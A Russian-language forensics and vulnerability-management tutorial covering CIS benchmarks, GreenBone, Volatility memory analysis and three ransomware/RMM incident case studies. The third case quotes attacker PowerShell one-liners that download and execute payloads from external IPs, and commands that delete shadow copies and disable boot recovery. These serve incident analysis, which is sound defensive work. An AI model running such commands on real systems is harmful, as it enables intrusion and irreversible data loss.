Для полноценной интеграции подобных сервисов в процесс управления уязвимостями необходимо эту интеграцию самостоятельно разработать. Выгрузка списка ПО из инвентори, запросы в API сервиса, выгрузка результатов в тикет-систему и прочие детали могут потребовать значительное время на разработку и поддержку автоматизации.

Стандарт CIS benchmark: проверка конфигурации

Для проверки конфигурации ПО на узлах сети используются либо встроенные средства сканера, либо специализированное ПО. Золотым стандартом в индустрии является CIS(Center Internet Security) benchmark. Ознакомиться с ним можно на сайте: https://www.cisecurity.org/cis-benchmarks. Также в интернете можно найти неофициальные скрипты от сторонних разработчиков, например: https://github.com/finalduty/cis-benchmarks-audit.

Нам понадобится сервер с установленным python3. Склонируем репозиторий:

# git clone https://github.com/finalduty/cis-benchmarks-audit.git

Перейдем в каталог с бенчмарком:

# cd cis-benchmarks-audit/

 И запустим скрипт со следующими параметрами:

# python3 ./cis_audit.py --level 1 --server

--level 1 определяет уровень "требовательности" к настройкам конфигурации, уровень 1 более требовательный, чем уровень 2;
--server говорит о том, что мы проверяем конфигурацию сервера, а не рабочей станции.

Анализируя результаты необходимо иметь в виду как внешние требования к компании (например, требования соответствия каким-либо стандартам), так и задачи бизнеса. 

Например, в некоторых проверках бенчмарк требует, чтобы на сервере не были установлены определенные приложения, например HTTP server. Разумеется, это требование не имеет смысла для серверов, задачей которых как раз является обеспечение работы веб-приложений.

Анализ конфигурационных файлов системы аудита

Программы аудита отслеживают огромное количество событий системы, которые впоследствии можно использовать для отслеживания инцидентов ИБ. Первый вопрос, на который нужно ответить при составлении списка правил для аудита это "Какие есть требования к мониторингу событий? Какие события нам нужно отслеживать?"

Если специфических требований нет, то можно обратиться к матрице MITRE. 

Как мы видим, самыми полезными событиями для мониторинга по статистике являются выполнение команд, создание процессов, модификация и создание файлов и события, связанные с сетевым трафиком. 

GreenBone Vulnerability Management 

GVM состоит из демона Greenbone Vulnerability Manager (gvmd), Greenbone Security Assistant (GSA), Greenbone Security Assistant Daemon (gsad) и сканера OpenVAS. Вариации:

• Greenbone Security Manager (GSM) — коммерческий, в форме физического или виртуального устройства с доступом к базе Greenbone.
• Greenbone Community Edition (GCE) — виртуальная машина, бесплатная пробная версия GSM с менее полным каналом сообщества Greenbone.
• Greenbone Source Edition (GSE) — GVM с открытым исходным кодом. Kali APT включают упакованную версию GSE.

У всех есть Greenbone Security Assistant (GSA) — веб-интерфейс для настройки сканирования и получения информации об уязвимостях.

Настройка GreenBone

Сначала определяется цель (Target) сканирования - совокупность сканируемых хостов. Настраивается через:

• файл CSV с именами хостов или IP-адресами.
• сканирование Host Discovery для обнаружения целей в сети.
• CIDR или IP-адреса вручную.

Digital Forensic исследует и анализирует цифровые устройства и данные для выявления преступных действий, инцидентов безопасности или других аномалий. 

Анализ позволяет выявить новые вредоносные объекты или даже техники, пополнив индикаторы компрометации (IOC) и сигнатуры для EDR решений. Таким образом, подобные угрозы будут своевременно предотвращать в будущем.

В случае, если инцидент происходит в данный момент, то по результатам проведенного анализа вы сможете начать противодействие. Первыми простыми шагами противодействия могут оказаться блокировка обнаруженных IP-адресов, доменных имен или вредоносных исполняемых файлов.

Анализ оперативной памяти

Исследование оперативной памяти позволяет увидеть активные процессы, открытые сетевые соединения, пароли, ключи шифрования и многое другое. Сбор дампа оперативной памяти (memory dump) — первый этап анализа оперативной памяти.

Сбор дампа оперативной памяти с ВМ

Техники сбора дампов через средства виртуализации В VMware и Fusion (для MacOS) для получения дампа памяти достаточно поставить ВМ на паузу и скопировать два файла: .vmem и .vmss из директории ВМ.

Сбор дампа оперативной памяти с "железного" ПК

WinPmem: Старый, открытый исходный код, для Windows. Раньше был в Rekall, сейчас отдельный репозиторий.
DumpIt: упрощенный, Windows и Linux. В Windows объединяет 32-битную и 64-битную память в один выходной файл.
MemDump: бесплатная и простая утилита командной строки
Belkasoft RAM Capturer: мощный, бесплатный. Может захватывать ОП работающего ПК Windows даже при активной защите от отладки или защиты от дампа.
Magnet RAM Capture: бесплатный и простой.
LiME (Linux Memory Extractor): это загружаемый модуль ядра (LKM), прозрачный для целевой системы.

Режим гибернации (сон) в Windows

ОП перед отключением питание сохраняет состояние в файл C:\hiberfil.sys, в нем есть дамп ОП.

Strings Linux дефолтное приложение, пример:

Поиск IP адресов

strings win_52a.vmem | grep -E "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b"
                  

Поиск почтовых адресов (email)

strings win_52a.vmem | grep -oE "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,4}\b"
                  

Поиск артефактов командной строки

strings win_52a.vmem | grep -E "(cmd|powershell|bash)[^\s]+"
                  

Volatility

Volatility де-факто главный инструмент анализа ОП.

• volatility 2: https://github.com/volatilityfoundation/volatility
• volatility 3: https://github.com/volatilityfoundation/volatility3

Volatility2 vs Volatility3

• Volatility 2 дамп памяти Windows ранее 10 build 19041.
• Volatility 2 на python2
• В Volatility 2 указывается профайл версии операционной системы для дампа.
• список основных команд в сравнении для версий https://blog.onfvp.com/post/volatility-cheatsheet/.

Используемые модули:

• pslist: покажет список запущенных процессов;
• pstree: покажет список запущенных процессов, выстроенных в виде дерева родительских отношений;
• psscan: поиск процессов, может показать чуть больше чем обычный pslist;
• cmdline: покажет процессы и их аргументы;
• netscan: покажет сетевые конекты и связанные с ними процессы;
• malfind: покажет процессы, содержащие потенциально зловредный код;
• svcscan: покажет список сервисов Windows;
• dlllist: покажет список загруженных DLL в указанный процесс.

Вывод списка процессов

# vol -f win_52a.vmem windows.pslist
Volatility 3 Framework 2.5.2
Progress:  100.00		PDB scanning finished                        
PID	PPID	ImageFileName	Offset(V)	Threads	Handles	SessionId	Wow64	CreateTime	ExitTime	File output

4	0	System	0xa80934e81040	120	-	N/A	False	2023-11-07 06:34:32.000000 	N/A	Disabled
92	4	Registry	0xa80934ebd080	4	-	N/A	False	2023-11-07 06:34:25.000000 	N/A	Disabled
316	4	smss.exe	0xa80935b93040	2	-	N/A	False	2023-11-07 06:34:32.000000 	N/A	Disabled
...

Вывод дерева процессов

# vol -f win_52a.vmem windows.pstree
Volatility 3 Framework 2.5.2
Progress:  100.00		PDB scanning finished                        
PID	PPID	ImageFileName	Offset(V)	Threads	Handles	SessionId	Wow64	CreateTime	ExitTime

4	0	System	0xa80934e81040	120	-	N/A	False	2023-11-07 06:34:32.000000 	N/A
* 1676	4	MemCompression	0xa80939902080	26	-	N/A	False	2023-11-07 06:34:41.000000 	N/A
508	428	wininit.exe	0xa8093608e300	1	-	0	False	2023-11-07 06:34:39.000000 	N/A
* 644	508	services.exe	0xa80936ed0180	9	-	0	False	2023-11-07 06:34:39.000000 	N/A
** 1048	644	svchost.exe	0xa8093b5e8340	4	-	0	False	2023-11-07 06:35:43.000000 	N/A
** 1564	644	svchost.exe	0xa809398a5340	3	-	0	False	2023-11-07 06:34:41.000000 	N/A
...

Сканирование процессов

# vol -f win_52a.vmem windows.psscan
Volatility 3 Framework 2.5.2
Progress:  100.00		PDB scanning finished                        
PID	PPID	ImageFileName	Offset(V)	Threads	Handles	SessionId	Wow64	CreateTime	ExitTime	File output

2992	644	svchost.exe	0xa60000081080	8	-	0	False	2023-11-07 06:34:44.000000 	N/A	Disabled
3224	644	svchost.exe	0xa600001b7080	6	-	0	False	2023-11-07 06:34:44.000000 	N/A	Disabled
4	0	System	0xa80934e81040	120	-	N/A	False	2023-11-07 06:34:32.000000 	N/A	Disabled
92	4	Registry	0xa80934ebd080	4	-	N/A	False	2023-11-07 06:34:25.000000 	N/A	Disabled
528	2976	cmd.exe	0xa80934f44080	0	-	0	False	2023-11-07 08:49:34.000000 	2023-11-07 08:49:34.000000 	Disabled
2340	644	spoolsv.exe	0xa8093542f080	9	-	0	False	2023-11-07 06:34:42.000000 	N/A	Disabled
316	4	smss.exe	0xa80935b93040	2	-	N/A	False	2023-11-07 06:34:32.000000 	N/A	Disabled
516	500	csrss.exe	0xa80935fc3080	12	-	1	False	2023-11-07 06:34:39.000000 	N/A	Disabled
508	428	wininit.exe	0xa8093608e300	1	-	0	False	2023-11-07 06:34:39.000000 	N/A	Disabled
436	428	csrss.exe	0xa80936c9a080	10	-	0	False	2023-11-07 06:34:38.000000 	N/A	Disabled
...
                  

Сканирование процессов (psscan) может показать больше информации, чем обычное отображение списка процессов (pslist), если у каких-то процессов использовались техники сокрытия.

Поиск зловредной активности

# vol -f win_52a.vmem windows.malfind
Volatility 3 Framework 2.5.2
Progress:  100.00		PDB scanning finished                        
PID	Process	Start VPN	End VPN	Tag	Protection	CommitCharge	PrivateMemory	File output	Hexdump	Disasm

...
2216	cybered_beacon	0x1b2017f0000	0x1b20183dfff	VadS	PAGE_EXECUTE_READWRITE	78	1	Disabled	
4d 5a 41 52 55 48 89 e5	MZARUH..
48 81 ec 20 00 00 00 48	H......H
8d 1d ea ff ff ff 48 89	......H.
df 48 81 c3 cc 60 01 00	.H...`..
ff d3 41 b8 f0 b5 a2 56	..A....V
68 04 00 00 00 5a 48 89	h....ZH.
f9 ff d0 00 00 00 00 00	........
00 00 00 00 f8 00 00 00	........	4d 5a 41 52 55 48 89 e5 48 81 ec 20 00 00 00 48 8d 1d ea ff ff ff 48 89 df 48 81 c3 cc 60 01 00 ff d3 41 b8 f0 b5 a2 56 68 04 00 00 00 5a 48 89 f9 ff d0 00 00 00 00 00 00 00 00 00 f8 00 00 00
8620	rundll32.exe	0x1f182510000	0x1f18255dfff	VadS	PAGE_EXECUTE_READWRITE	78	1	Disabled	
4d 5a 41 52 55 48 89 e5	MZARUH..
48 81 ec 20 00 00 00 48	H......H
8d 1d ea ff ff ff 48 89	......H.
df 48 81 c3 cc 60 01 00	.H...`..
ff d3 41 b8 f0 b5 a2 56	..A....V
68 04 00 00 00 5a 48 89	h....ZH.
f9 ff d0 00 00 00 00 00	........
00 00 00 00 f8 00 00 00	........	4d 5a 41 52 55 48 89 e5 48 81 ec 20 00 00 00 48 8d 1d ea ff ff ff 48 89 df 48 81 c3 cc 60 01 00 ff d3 41 b8 f0 b5 a2 56 68 04 00 00 00 5a 48 89 f9 ff d0 00 00 00 00 00 00 00 00 00 f8 00 00 00

...
                  

Вывод информации о сетевых взаимодействиях процессов

# vol -f win_52a.vmem windows.netscan.NetScan
Volatility 3 Framework 2.5.2
Progress:  100.00		PDB scanning finished                        
Offset	Proto	LocalAddr	LocalPort	ForeignAddr	ForeignPort	State	PID	Owner	Created

0xa80935d55050	TCPv4	0.0.0.0	49664	0.0.0.0	0	LISTENING	664	lsass.exe	2023-11-07 06:34:40.000000 
0xa80935d555d0	TCPv4	0.0.0.0	49664	0.0.0.0	0	LISTENING	664	lsass.exe	2023-11-07 06:34:40.000000 
0xa80935d555d0	TCPv6	::	49664	::	0	LISTENING	664	lsass.exe	2023-11-07 06:34:40.000000 
0xa80935d55890	TCPv4	0.0.0.0	135	0.0.0.0	0	LISTENING	892	svchost.exe	2023-11-07 06:34:40.000000 
0xa80935d559f0	TCPv4	0.0.0.0	135	0.0.0.0	0	LISTENING	892	svchost.exe	2023-11-07 06:34:40.000000 
...

Поиск по Yara-правилам

# vol -f win_52a.vmem windows.vadyarascan.VadYaraScan --yara-file "./malware_rules.yar"
Volatility 3 Framework 2.5.2
Progress:  100.00		PDB scanning finished                        
Offset	PID	Rule	Component	Value

0x18201b6bec9	92	spyeye_plugins	$o	72 64 70 2e 64 6c 6c
0x182020eb214	92	spyeye_plugins	$o	72 64 70 2e 64 6c 6c
0x182020eb494	92	spyeye_plugins	$o	72 64 70 2e 64 6c 6c
0x182025e8fb7	92	spyeye_plugins	$o	72 64 70 2e 64 6c 6c
0x18202e3f53f	92	spyeye_plugins	$o	72 64 70 2e 64 6c 6c
0x18202e4a83f	92	spyeye_plugins	$o	72 64 70 2e 64 6c 6c
0x182031bef0c	92	spyeye_plugins	$o	72 64 70 2e 64 6c 6c
0x182032bbf6f	92	spyeye_plugins	$o	72 64 70 2e 64 6c 6c
0x182032c293f	92	spyeye_plugins	$o	72 64 70 2e 64 6c 6c
0x182033015b4	92	spyeye_plugins	$o	72 64 70 2e 64 6c 6c
0x18204295fec	92	spyeye_plugins	$o	72 64 70 2e 64 6c 6c
0x182071b6479	92	Insta11Strings	$	42 31 32 41 45 38 39 38 2d 44 30 35 36 2d 34 33 37 38 2d 41 38 34 34 2d 36 44 33 39 33 46 45 33 37 39 35 36
0x182072a3a31	92	Insta11Strings	$	45 43 44 34 46 43 34 44 2d 35 32 31 43 2d 31 31 44 30 2d 42 37 39 32 2d 30 30 41 30 43 39 30 33 31 32 45 31
0x182079b80c9	92	Insta11Strings	$	42 31 32 41 45 38 39 38 2d 44 30 35 36 2d 34 33 37 38 2d 41 38 34 34 2d 36 44 33 39 33 46 45 33 37 39 35 36
0x18207a74911	92	Insta11Strings	$	45 43 44 34 46 43 34 44 2d 35 32 31 43 2d 31 31 44 30 2d 42 37 39 32 2d 30 30 41 30 43 39 30 33 31 32 45 31
0x255fc21709c	780	SharedStrings	$m4	00 00 00 00 45 00 52 00 00 00 00 00
...
                  

Использование дополнительных плагинов

# vol -r pretty -f win_52a.vmem -p /opt/volatility3/volatility3/framework/plugins/ cobaltstrike
Volatility 3 Framework 2.5.2
Formatting...0.00               PDB scanning finished                        
  |  PID |        Process | Port | Sleep | Jitter |                                       Server |   POST_PATH |               x86 Install_Path |                x64 Install_Path | Pipe | License ID
* | 2216 | cybered_beacon |  443 | 60000 |      0 |              cybered-c2.gopherz.ru,/activity | /submit.php | %windir%\syswow64\rundll32.exe | %windir%\sysnative\rundll32.exe |      | 1580103824
* | 8620 |   rundll32.exe |  443 | 60000 |      0 | cybered-c2.gopherz.ru,/IE9CompatViewList.xml | /submit.php | %windir%\syswow64\rundll32.exe | %windir%\sysnative\rundll32.exe |      | 1580103824
                  

В этом примере используется дополнительный плагин volatility 3 для поиска процесса, в рамках которого устанавливается связь с популярным Command&Control системой CobaltStrike.

Возможные ошибки YARA-библиотек

Работая с плагинами cobaltstrike и yarascan, вы, возможно, встретите ошибки загрузки этих плагинов. Введя флаг -vvv в конец команды vol, вы увидите, что приложение ругается на то, что не может выполнить команду import yara.

Причина в том, что cobaltstrike основан на yarascan, а он в свою очередь требует python-модуль yara версии 3.8.0 и выше. Поэтому нам надо удалить устаревший модуль yara и установить новый yara-python. А затем поправить некоторые ссылки на библиотеку.

В итоге, фиксим и проверяем себя так:

pip3 uninstall yara
pip3 install yara-python

# python3
Python 3.10.12 (main, Nov 20 2023, 15:14:05) [GCC 11.4.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import yara
Failed to import '/usr/lib/libyara.so'


# find / -name libyara.so
/usr/local/lib/python3.10/dist-packages/usr/lib/libyara.so

# ln -s /usr/local/lib/python3.10/dist-packages/usr/lib/libyara.so /usr/lib/libyara.so

# python3
Python 3.10.12 (main, Nov 20 2023, 15:14:05) [GCC 11.4.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import yara
>>> yara.__version__
'4.5.0'
>>> 

Анализ HDD

Для групп реагирования на инциденты выделяются определенные функции:

• Анализ структуры файлов. Возможность перемещаться и видеть иерархию файлов на диске имеет решающее значение. Криминалистические инструменты должны отображать эту структуру, обеспечивая быстрый доступ к определенным файлам, особенно в известных местах подозрительной системы.
• Hex Viewer: в те моменты, когда вам требуется поближе познакомиться с вашими данными, просмотр файлов в шестнадцатеричном формате необходим. Эта возможность особенно удобна при работе с такими угрозами, как специализированное вредоносное ПО или уникальные эксплойты.
• Анализ веб-артефактов. Учитывая такой большой объем пользовательских данных, связанных с веб-активностью, выбранный инструмент должен эффективно анализировать и представлять эти данные. Это меняет правила игры, когда вы собираете воедино события, которые привели к тому, что пользователь попал на вредоносный веб-сайт.
• Работа с электронной почты. Иногда след ведет к внутренним угрозам. Может быть, это мошенник-сотрудник или просто кто-то ошибся. В таких случаях электронные письма часто имеют ключевое значение. Инструмент, который может извлекать и представлять эти данные, упрощает процесс, упрощая соединение точек.
• Средство просмотра изображений. Иногда изображения, хранящиеся в системах, могут рассказать собственную историю. Будь то проверка политики или более глубокое погружение, наличие встроенного средства просмотра является благом.
• Анализ метаданных. Такие детали, как временные метки создания файлов, хеши и расположение диска, могут иметь неоценимое значение. Рассмотрим сценарий, в котором вы пытаетесь сопоставить время запуска приложения с предупреждением о вредоносном ПО. Такие корреляции могут стать стержнем вашего расследования.

Все перечисленные выше критерии отлично реализованы в бесплатном программном обеспечении Autopsy.

Autopsy

Функции: построение временной диаграммы, поиск ключевых слов, извлечение артефактов из Интернета и электронной почты, а также возможность фильтровать результаты на основе известных хешей вредоносных файлов.

Loki / Thor

Основываясь на YARA-правилах, будучи запущенными непосредственно на зараженном ПК, они помогут вам определить подозрительные файлы и процессы.

Loki — бесплатная, но устаревшая и не поддерживаемая версия продукта, написанная на python.

Thor Lite — бесплатная новая версия с 4000 YARA правилами, идущими в комплекте + свои.

Thor — платная версия с 25000 YARA правилами.

Разработчик: https://www.nextron-systems.com/compare-our-scanners/

Примеры атак

Инцидент №1

В атаке используется некогда популярный инструмент для удаленного доступа NetSupport. 

Эта атака началась с электронного письма с прикрепленным zip-файлом, содержащим вредоносный файл JavaScript. После доставки электронного письма пользователь извлек и запустил этот файл. Код JavaScript скачал скрипт PowerShell, который выполнялся в памяти. Запущенный скрипт PowerShell отвечал за развертывание NetSupport в системе, за проверку того, чтобы атака не запускалась в «песочнице», а также за обеспечение закрепления в системе с помощью ключей реестра Windows.

После установки NetSupport злоумышленник провел предварительную разведку, используя различные утилиты Windows, такие как whoami, net и systeminfo. Затем злоумышленник попытался повторно включить учетную запись администратора домена, которая была отключена, но, похоже, безуспешно.

Через несколько часов за этим действием последовала установка сервера OpenSSH для обеспечения устойчивости доступа атакующего. Для подключения к серверу OpenSSH злоумышленник установил реверсивный SSH-туннель от сервера жертвы к собственному серверу, размещенному у провайдера VPS.

Используя ранее упомянутый SSH-туннель для прокси-подключений через хост-плацдарм, злоумышленник установил соединение с контроллером домена. Через SSH-туннель злоумышленник использовал Impacket atexec.py для выполнения различных команд обнаружения в поисках привилегированных групп и компьютеров, присоединенных к домену.

Восемь часов спустя злоумышленник изменил настройки брандмауэра на удаленном сервере, а затем начал использовать Impacket wmiexec.py для дальнейшего перемещения. Злоумышленник загрузил CAB-файлы на удаленные хосты с помощью протокола SMB, а затем запустил их с помощью команды wmiexec.py. Исполняемые файлы также представляли собой вредоносное ПО NetSupport, однако они были настроены для взаимодействия с новым сервером управления и контроля. После запуска злоумышленник настроил запланированное задание Windows (scheduled task) для сохранения доступа на этих машинах.

Злоумышленник вернулся на следующий день, развернув NetSupport на контроллере домена. Получив этот доступ, он приступил к скачиванию базы данных NTDS.dit. После получения дампа он использовал 7-zip для сжатия файлов. Скорее всего этот архив был похищен через один из существующих сетевых каналов управления и контроля.

Менее чем через час злоумышленник перешел на другой контроллер домена и снова приступил к дампу NTDS.dit. Он также запустил Pingcastle, инструмент аудита каталога AD. С помощью NetSupport атакующий подключился к серверу резервных копий, чтобы создать новую учетную запись и добавить ее в группы локальных администраторов и пользователей удаленного рабочего стола. Используя эту учетную запись, он вошел в систему с помощью RDP.

После входа в систему злоумышленник загрузил программу Netscan и проверил состояние Microsoft Defender, а затем отключил его. После отключения защиты он загрузил программу ProcDump и приступил к скачиванию базы LSASS на контроллере домена и на сервере резервных копий.

После этого злоумышленник запустил скрипт PowerShell для поиска и сохранения событий входа в систему. Затем журнал событий был заархивирован с помощью 7-zip, и скачан для дальнейшего изучения. Злоумышленник также просмотрел общие файловые ресурсы контроллера домена, открыв несколько конфиденциальных документов. Затем Netscan был загружен на контроллер домена и запущен там. Злоумышленник выполнил еще несколько команд обнаружения с использованием WMI, а затем выполнил некоторую очистку, уничтожив запущенные задачи, такие как Netscan и SSH-туннель.

Последние наблюдаемые действия заключались в том, что злоумышленник загрузил два бинарных файла Nim на контроллер домена. Эти бинарные файлы Nim затем использовались для попытки создать бэкдор-пользователя и повысить его права до уровня администратора. Исследователи не обнаружили ни одной учетной записи, созданной после выполнения. После тестирования выяснилось, что инструмент не работает и возвращает ошибку. После этого со стороны злоумышленника не было замечено никаких дальнейших действий до момента пока он не был отключен от сети предприятия.

Полный отчет можно найти по ссылке https://thedfirreport.com/2023/10/30/netsupport-intrusion-results-in-domain-compromise/

На рисунке ниже можно увидеть классификацию техник атакующего по матрице MITRE:

Классификация техник атакующих по матрице MITRE (ссылка на источник)

Инцидент №2

В 2022 году было отмечено увеличение количества использования злоумышленниками инструментов для удаленного управления (Remote Management and Monitoring, RMM). В сравнении с другими пост-эксплуатационными каналами доступа, которые сильно завязаны на использование терминала (например Cobalt Strike или Metasploit), наличие графического интерфейса делает взаимодействие атакующих с взломанными машинами более удобным.

В связи с возросшей популярностью сервисной модели SaaS (Software as a Service), множество программ RMM работают как облачные сервисы.  Используя каналы связи, которые работают с использованием легитимных инструментов RMM, атакующие усложняют обнаружение их активности. 

Эта атака использует несколько RMM, была обнаружена в конце 2022 года, и в конечном итоге привела к заражению компании программой-вымогателем Hive. 

В ходе этого вторжения, произошедшего в октябре 2022 года, злоумышленник использовал инструмент RMM в качестве начального доступа, а закончилось все установкой программы-вымогателя Hive. Изначальный доступ был получен с помощью фишинга, атакующий использовал исполняемый файл, маскирующийся под легитимный документ. 

Выполнение файла привело к установке ScreenConnect . Этот первоначальный метод доступа требует, чтобы конечный пользователь был локальным администратором, поскольку пользователи с ограниченными правами не смогли бы установить программу. Примерно через час после установки злоумышленник запустил несколько команд для разведки окружения через ScreenConnect, используя стандартные утилиты Windows, такие как systeminfo, ipconfig и net . Через несколько минут злоумышленник запустил копирование с помощью BITS для установки Cobalt Strike.

Через час злоумышленник загрузил еще один файл, который представляет из себя инфицированный трояном исполняемый модуль ApacheBench со встроенным шелл-кодом Metasploit. При выполнении шелл-код инициирует канал управления Meterpreter. 

После запуска нового канала управления и контроля, злоумышленник перешел к горизонтальному перемещению с помощью сервиса удаленных служб, запустив установщики программ Atera и Splashtop (обе программы используются для обеспечения удаленного доступа) на сервере. Также с помощью BITS на сервера был доставлен Cobalt Strike.

Примерно через 20 минут после этого действия злоумышленник продолжает свое перемещение по сети к другим серверам, с помощью скрипта wmiexec.py Impacket. 

На следующий день злоумышленник загрузил файл Mimikatz на несколько серверов и запустил их удаленно с помощью wmiexec. Активность стихла еще на несколько часов, пока злоумышленник не вернулся и не запустил новый маяк Cobalt Strike на нескольких хостах по всей сети. Из этих маяков было отправлено несколько команд для разведки окружения, после чего злоумышленник снова впал в спячку.

На следующий день злоумышленник выполнил скрипт, предназначенный для извлечения данных Active Directory, с помощью встроенных утилит PowerShell. Затем активность прекратилась до позднего вечера, когда злоумышленник вернулся и начал получать доступ к хостам через RDP. В ходе этих RDP сеансов злоумышленник просматривал общие файловые ресурсы и резервные копии в сети. Затем злоумышленник загрузил Rclone на сервер с общими папками и приступил к настройке подключения к удаленному серверу через SFTP . После подключения злоумышленник приступил к выгрузке файлов через SFTP-соединение. Пока файлы копировались злоумышленник скачал netscan  и провел сканирование сети, уделяя особое внимание службам RDP.

Примерно через три часа после начала эксфильтрации злоумышленник начал свои последние действия, запустив программу-вымогатель Hive. Для начала атакующий изменил пароль администратора, а затем вручную запустил программу-вымогатель на нескольких ключевых серверах инфрастуктуры. После этих ручных запусков программ-вымогателей злоумышленник перешел к попыткам шифрования всего домена. Для этого злоумышленник разместил файл программы-вымогателя на общем сетевом ресурсе, а затем создал новый объект групповой политики для всего домена с запланированным заданием, предназначенным для запуска файла программы-вымогателя на каждом компьютере в домене.

Поскольку злоумышленник неправильно настроил GPO и создание запланированных задач, развертывание программы-вымогателя на уровне всего домена прошло неудачно. Однако ключевые серверы были успешно зашифрованы вручную.

С момента первоначального доступа и до установки программы-вымогателя прошел 61 час.

Инцидент №3

Вторжение началось с исполняемого файла document8765.exe. Файл был доставлен пользователю после посещения сайта https[:]//environmentca[.]com/bkh6q. По данным EDR, сайт был открыт из процесса Outlook, что указывает на вероятную доставку по электронной почте.

Существует множество методов обнаружения запуска программ, скачанных из интернета. Можно отслеживать MOTW (метки Интернета), или процессы, запускаемые из папок пользователя %USERPROFILE%\Downloads. Эти данные можно найти как в журнале событий безопасности (event id 4688) , так и в журнале Sysmon ( eventid 1 - создание процесса ).

После запуска document8765.exe установил приложение ScreenConnect через .msi установщик, который был загружен в папку %TEMP%.

После установки ScreenConnect атакующий запустил несколько CMD и PowerShell-скриптов для разведки:

Cobalt Strike

Одна из команд, запущеных с помощью ScreenConnect, предназначалась для установки Cobalt Strike с помощью скрипта PowerShell:

powershell.exe -nop -c "start-job { param($a) Import-Module BitsTransfer; $d = $env:temp + '\' + [System.IO.Path]::GetRandomFileName(); Start-BitsTransfer -Source 'http://31.41.244.192:80/96945jgjf' -Destination $d; $t = [IO.File]::ReadAllText($d); Remove-Item $d; IEX $t } -Argument 0 | wait-job | Receive-Job"
                  

Поскольку данные передавались в незашифрованном виде, у аналитиков была возможность получить содержимое скрипта из сетевого трафика:

Cobalt Strike хранит свою конфигурацию в памяти, и эту конфигурацию можно извлечь, используя такие инструменты, как cobaltstrike-config-extractor.

Примерно через 40 минут злоумышленник использовал другой PowerShell-модуль, основанный на функции DownloadFile System.Net.WebClient , для загрузки %temp%\P6nqEdwk.exe . Этот "троянский" исполняемый файл был загружен с http://94.232.43[.]201:8080/dQhNZOV3Qm и впоследствии запущен.

powershell.exe -nop -w hidden -c [Net.ServicePointManager]::SecurityProtocol=[Net.SecurityProtocolType]::Tls12;$z="echo ($env:temp+'\P6nqEdwk.exe')"; (new-object System.Net.WebClient).DownloadFile('http://94.232.43.201:8080/dQhNZOV3Qm', $z); invoke-item $z
                  

Событие Sysmon 1 журналов windows показывает связь между процессами: ScreenConnect запустил PowreShell-скрипт, который, в свою очередь, исполнил P6nqEdwk.exe.

P6nqEdwk.exe представляет из себя модифицированную версию программы ApacheBench, которая при выполнении запускает PowerShell-скрипт:

Этот скрипт обеспечивает reverse shell - канал удаленного доступа, используя который атакующий может контролировать скомпрометированную машину. 

Atera

Несмотря на то, что для получения первоначального доступа использовался ScreenConnect, атакующий установил другое приложение(Atera) для удаленного администрирования на серверах, скомпрометированных в дальнейшем. 

Установка Atera была выполнена через запуск установщика MSI:

C:\Windows\System32\msiexec.exe /i “C:\programdata\setup.msi
                  

 Atera требует регистрацию пользователей для работы, и, анализируя конфигурационные файлы, исследователи смогли найти email, который злоумышленник использовал для регистрации (edukatingstrong@polkschools.edu.org).

Используя Atera, злоумышленник запустил большое количество PowerShell-команд, включая rclone для копирования конфеденциальных файлов.

Также, для обеспечения полноценного удаленного доступа через Atera злоумышленник настроил интеграцию с Splashtop. 

В журнале событий Splashtop-Splashtop Streamer-Status/Operational можно найти уникальный идентификатор установки:

Для выполнения своих целей атакующий использовал популярный скрипт Impacket wmiexec.py. Эту активность можно отследить по тому, что скрипт по умолчанию перенаправляет вывод в \\127.0.0.1\ADMIN$\__%timestamp%.

Закрепление в системе

Для обеспечения постоянного доступа атакующий настроил автозапуск служб ScreenConnect и Atera. Это событие отображается в журналах Windows как 7045 (установка службы):

Повышение привилегий

Будучи запущенными как службы Windows, ScreenConnect и Atera работали под учетной записью системы (SYSTEM), что дает атакующему больше привилегий. 

Process Injection

Для избежания обнаружения атакующий использовал широко распространенный метод process injection, когда вредоносный код запускается в памяти легитимного процесса. В зависимости от используемых техник обнаружить эти действия можно следующим образом:

События Sysmon:

• event 10 (получение доступа к процессу), часто используется для иньекций в существующие процессы.
• event 8 (remote thread created - создан удаленный поток).
• event 1 (создание процесса)

Также, доказательством process injection может выступать создание так называемых named pipes, каналов связи между процессами с именем (\postex_*) (события Sysmon 17 и 18).

Доступ к учетным записям

В ходе атаки злоумышленник неоднократно пытался получить доступ к памяти процесса LSASS (процесс, отвечающий за безопасность и настройки доступа в Windows). 

Как показано на рисунке выше, атакующий несколько раз запускал m2.exe, версию популярного зловреда mimikatz. В ходе атаки mimikatz использовался для повышения привилегий и доступа к данным учетных записей. 

Разведка

Для изучения структуры сети и получения списка обычных и привилегированных пользователей злоумышленник использовал следующие команды:

Также, после установки CobaltStrike атакующий собрал информацию о домене:

cmd.exe /C nltest /dclist:
cmd.exe /C nltest /DOMAIN_TRUSTS
cmd.exe /C nltest /domain_trusts /all_trusts
                  

Для получения списка активных сессий пользователей была использована команда quser:

Используя программы netping и netscan, атакующий просканировал внутреннюю сеть компании в поиске открытых портов RDP. 

Он также изучил и скопировал содержимое общедоступных сетевых папок на файл-сервере. Эту информацию можно подтвердить, изучив артефакты в реестре (например, программой shellbag).

Дальнейшее продвижение

После сканирования открытых RDP портов злоумышленник использовал RDP для подключения на другие сервера компании. Артефактами в данном случае выступают события windows 4624 с типом подключения 3 (по сети) или 7 (разблокировка).

Помимо RDP атакующий использовал wmiexec для выполнения команд на удаленных серверах. 

Для компрометации узлов сети атакующий сначала загружал вредоносный DLL-файл по протоколу SMB, а затем регистрировал службу Windows, запускающую вредоносный dll c Cobalt Strike, настроенным на подключение к домену атакующего 23.108.57[.]83:443 (sodiwugoc[.]com).

Событие 7045 демонстрирует создание службы.

Достижение целей

Спустя два дня атакующий скопировал конфиденциальные данные программой rclone. Судя по наличию опечаток в имени команд, можно предположить, что действия выполнялись вручную.

После скачивания файлов атакующий перешел к следующему шагу - шифрованию данных.

Для начала он поменял пароль администратора:

После чего перешел к шифрованию:

Чтобы обеспечить невозможность восстановления данных, злоумышленник удалили теневые копии и поменял параметры загрузчика системы:

"C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
"C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
"C:\Windows\System32\bcdedit.exe" /set {default} recoveryenabled No
"C:\Windows\System32\bcdedit.exe" /set {default} bootstatuspolicy ignoreallfailures
                  

